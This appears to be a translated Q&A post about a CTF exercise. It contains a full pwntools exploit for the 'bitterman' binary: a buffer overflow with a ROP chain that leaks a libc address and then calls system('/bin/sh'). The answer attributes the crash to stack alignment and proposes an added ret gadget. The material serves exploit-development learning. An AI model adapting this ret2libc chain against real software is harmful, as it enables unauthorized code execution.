使用 pwntools 正确执行系统(“/bin/sh”)后收到“在交互式阅读时获得 EOF”

逆向工程 开发 x86-64 工具
2021-07-09 23:30:38

我已经学习了一些关于pwntools为 CTF 比赛中使用的bitterman ELF 二进制文件编写基于漏洞的教程但是,我所有的尝试都失败了,并显示以下消息,即Got EOF while reading in interactivesystem("/bin/sh")使用简单的 ROP 链执行后

nlykkei@ubuntu-dev:~$ python bitterman.py                                                │ 27 p.recvuntil('Thanks!\n')
[+] Starting local process './bitterman': pid 6244                                       │ 28 
[+] puts@glibc: 0x7fcbdc453010                                                           │ 29 #puts_addr = p.recv()[:8].strip().ljust(8,"\x00")
[+] offset: 0x7fcbdc3d2000                                                               │ 30 puts_addr = p.recvuntil('\n', timeout=60)[:-1].strip().ljust(8,"\x00")
[*] Switching to interactive mode                                                        │ 31 log.success('puts@glibc: {}'.format(hex(u64(puts_addr))))
[*] Got EOF while reading in interactive                                                 │ 32 
$                                                                                        │ 33 #Stage 2
[*] Process './bitterman' stopped with exit code -11 (SIGSEGV) (pid 6244)                │ 34 libc_puts = 0x81010
[*] Got EOF while sending in interactive 

使用 GDB 跟踪漏洞利用后,我可以验证是否system("/bin/sh")通过clone返回有效子 PID系统调用执行然而,在clone系统调用之后什么也没有发生,父进程继续并崩溃(错误的返回地址)。

可能是什么问题呢?如果任何有经验的漏洞利用开发人员或 CTF 爱好者能够发现错误,我将不胜感激。

更新: 我刚刚重写了漏洞利用程序以使用execv前端进行execve系统调用,然后一切都按预期工作!(产生一个壳)

system(..)通过使用clone系统调用fork 一个孩子来工作,而execve替换整个过程。知道为什么system(..)方法不起作用吗?

https://github.com/ctfs/write-ups-2015/blob/master/camp-ctf-2015/pwn/bitterman-300/bitterman

https://www.youtube.com/watch?v=6S4A2nhHdWg

from pwn import *

#context(terminal=['tmux', 'new-window'])

p = process('./bitterman')
#p = gdb.debug('./bitterman', 'b main')

#context(os='linux', arch='amd64')
#context.log_level = 'DEBUG'

# Stage 1
main = p64(0x4006ec) #0x400550
plt_puts = p64(0x400520)
got_puts = p64(0x600c50)
pop_rdi = p64(0x400853)

junk = 152*"A"

payload = junk + pop_rdi + got_puts + plt_puts + main

p.recvuntil('name?')
p.sendline('nlykkei')
p.recvuntil('message:')
p.sendline('256')
p.recvuntil('text:')
p.sendline(payload)
p.recvuntil('Thanks!\n')

#puts_addr = p.recv()[:8].strip().ljust(8,"\x00")
puts_addr = p.recvuntil('\n', timeout=60)[:-1].strip().ljust(8,"\x00")
log.success('puts@glibc: {}'.format(hex(u64(puts_addr))))

#Stage 2
libc_puts = 0x81010
libc_system = 0x50300
libc_sh = 0x1aae80

offset = u64(puts_addr) - libc_puts
log.success('offset: {}'.format(hex(offset)))

system_addr = p64(libc_system + offset)
sh_addr = p64(libc_sh + offset)

payload = junk + pop_rdi + sh_addr + system_addr

p.recvuntil('name?')
p.sendline('nlykkei')
p.recvuntil('message:')
p.sendline('256')
p.recvuntil('text:')
p.sendline(payload)
p.recvuntil('Thanks!')

p.clean()
p.interactive() 
1个回答

我想你可能有对齐问题。找到一个 ret-only gadget 的地址,然后尝试将它放入你的第二个有效负载中,如下所示:

ret = p64(0x?????)
payload = junk + ret + pop_rdi + sh_addr + system_addr

参考:

  1. https://research.csiro.au/tsblog/debugging-stories-stack-alignment-matters/
  2. https://stackoverflow.com/questions/54393105/libcs​​-system-when-the-stack-pointer-is-not-16-padded-causes-segmentation-faul
  3. https://stackoverflow.com/questions/49391001/why-does-the-x86-64-amd64-system-v-abi-mandate-a-16-byte-stack-alignment